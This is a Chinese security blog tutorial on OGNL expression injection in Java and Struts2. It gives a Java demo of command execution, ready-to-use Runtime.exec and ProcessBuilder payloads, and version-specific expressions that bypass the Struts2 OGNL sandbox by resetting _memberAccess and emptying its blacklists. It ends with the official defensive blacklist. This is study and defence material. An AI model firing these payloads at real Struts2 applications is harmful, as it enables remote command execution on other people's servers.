Java OGNL 表达式注入

学习 Java OGNL 表达式注入

0x01 OGNL (Object Graph Navigation Library)

OGNL代表对象图导航语言;它是一种表达语言,用于获取和设置Java对象的属性,以及其他附加功能,例如列表投影和选择以及lambda表达式。您可以使用相同的表达式来获取和设置属性值。

OGNL三要素:

  • 表达式(expression)
    • ognl 表达式要执行的具体操作
  • 根对象(root)
    • 表达式的操作由根对象来指定对目标对象的操作,可直接引用根对象属性
  • 上下文环境(context)
    • 对象运行的上下文环境(map类型)

之前分析的 Struct2 的历史漏洞中,最终都是通过 ognl 达到执行命令的目的,而 struct2 中的 ognl 的 context 就是 ActionContext,根对象即熟悉的 valueStack

0x02 使用 OGNL

在 ognl 注入中常用的也就是对上下文环境、静态方法的访问

OGNL 中的所有变量都是整个表达式的全局变量

  • 获取上下文环境变量:#var
  • 设置变量:#var = 99
  • 访问静态变量:@[class]@[field]
  • 调用静态方法:@[class]@[method()]`@java.lang.Runtime@getRuntime().exec(‘id’)`
  • 直接使用构造方法进行构造

特殊符号

#

  1. 用于访问非根对象属性( OGNL 和 Action 上下文)

  2. 还可以表示自身,listeners.size().(#this > 100? 2*#this : 20+#this)

  3. 创建 map,#{e1 : e2, ... },或 #@classname@{ e1 : e2, ... }

%

  1. 告诉执行环境 %{} 里的是 OGNL 表达式并计算表达式的值。
  2. 求余数 e1 % e2

$

  1. 在相关配置文件中引入OGNL表达式,即在配置文件中解析OGNL表达式
  2. 用于正则匹配 objects.{$ #this instanceof String },将返回对象中包含的最后一个元素,该对象是String类的实例

.

  1. 获取非静态方法调用
  2. 获取对象的属性
  3. 投影 e1.{e2}
  4. 选择 e1.{? e2}
  5. 子表达式求值 e1.(e2)

@

  1. 获取静态方法
  2. 获取静态变量

,

  1. 顺序操作符 e1, e2,e1 和 e2 都使用相同的源对象进行计算,并返回 e2 的结果。

更多详细内容可以参考官方文档:https://commons.apache.org/proper/commons-ognl/language-guide.html

0x03 OGNL 注入

Ognl 的 getValue 和 setValue 都可以用来执行代码,比如 S2-003 就是利用了 setValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import ognl.Ognl;
import ognl.OgnlContext;

public class demo {
public static void main(String[] args) throws Exception {
// 创建一个OGNL上下文对象
OgnlContext context = new OgnlContext();

// getValue() 触发
// @[类全名(包括包路径)]@[方法名|值名]
//Ognl.getValue("@java.lang.Runtime@getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')", context, context.getRoot());

// getValue() 使用 new
Ognl.getValue("(new java.lang.ProcessBuilder(new java.lang.String[]{\"/Applications/Calculator.app/Contents/MacOS/Calculator\"}).start())", context, context.getRoot());

// setValue() 触发
//Ognl.setValue("(\"@java.lang.Runtime@getRuntime().exec(\'/Applications/Calculator.app/Contents/MacOS/Calculator\')\")(a)(b)",context,"");

}
}

在 setValue 中形如 ()(a)(b) 的表达式在 ognl 处理的时候会先计算 ()(a),然后返回带有 payload 的 ASTEval 树,再以 b 为root 计算 AST 树,最终执行命令

常用 paylaod:

1
2
3
4
5
6
7
8
//获取当前路径
@java.lang.System@getProperty("user.dir")

//使用 runtime 执行系统命令
@java.lang.Runtime@getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')

//使用 processbuilder 执行系统命令
(new java.lang.ProcessBuilder(new java.lang.String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}).start())

常见注入点和写法(https://www.freebuf.com/vuls/168609.html)
img

0x04 注入绕过与防御

OGNL 作为 Struts2 框架的默认表达式语言,在 struct2 的众多历史漏洞中被多次绕过,但是,绝大多数是通过 _memberAccess 等属性修改限制条件来达到绕过的目的

绕过

< Struts 2.3.14.1

通过 _memberAccess 设置 allowStaticMethodAccess 开启静态方法调用

1
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc'))

< Struts 2.3.20

使用类的构造函数

1
(#p=new java.lang.ProcessBuilder('calc')).(#p.start())

< Struts 2.3.29

在2.3.20后,Struts2 引入了黑名单(excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns),阻止了所有构造函数的使用

通过 _memberAccess 的父类 DefaultMemberAccess 覆盖 _memberAccess 绕过限制

1
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('calc'))

< Struts 2.3.30+/2.5.2+

利用 container 获取 ognlUtil 再使用 clear 方法清空 excludedClasses、excludedPackageNames,然后 setMemberAccess 方法设置默认的 memberAccess

1
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))

< Struts 2.5.16

2.5.13 版本中使用的是 3.1.15 的 ognl 包,禁止了对 context.map 的访问

通过attr 获取一个context.map,然后通过 setExcludedPackageNames 和 setExcludedClasses 将名单置空,再覆盖 _memberAccess

1
2
3
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl 127.0.0.1:9001'))

防御

在 struct2 中官方主要通过黑名单的方式来修补漏洞,虽然前期也是被频频绕过,但从最近的版本能看出黑名单的变化

在 struts 2.5.20 中,查看 struts-default.xml 的 excludedClasses 和 excludedPackageNames 黑名单内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
com.opensymphony.xwork2.ActionContext" />

<!-- this must be valid regex, each '.' in package name must be escaped! -->
<!-- it's more flexible but slower than simple string comparison -->
<!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->

<!-- this is simpler version of the above used with string comparison -->
<constant name="struts.excludedPackageNames"
value="
ognl.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.rhino.,
sun.reflect.,
javassist.,
org.objectweb.asm.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util." />

连 struct2 重写的 ognl 包 xwork2.ognl 也在 excludedPackageNames 中,而且在 OgnlUtil 中的有关方法属性也产生了变化,这就导致修改黑名单绕过的方法越发困难

Reference

https://commons.apache.org/proper/commons-ognl/language-guide.html

https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

https://lucifaer.com/2019/01/16/%E6%B5%85%E6%9E%90OGNL%E7%9A%84%E6%94%BB%E9%98%B2%E5%8F%B2/#0x03-OGNL%E7%9A%84%E6%94%BB%E9%98%B2%E5%8F%B2

文章作者: J0k3r
文章链接: http://j0k3r.top/2020/08/19/java-ognl/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog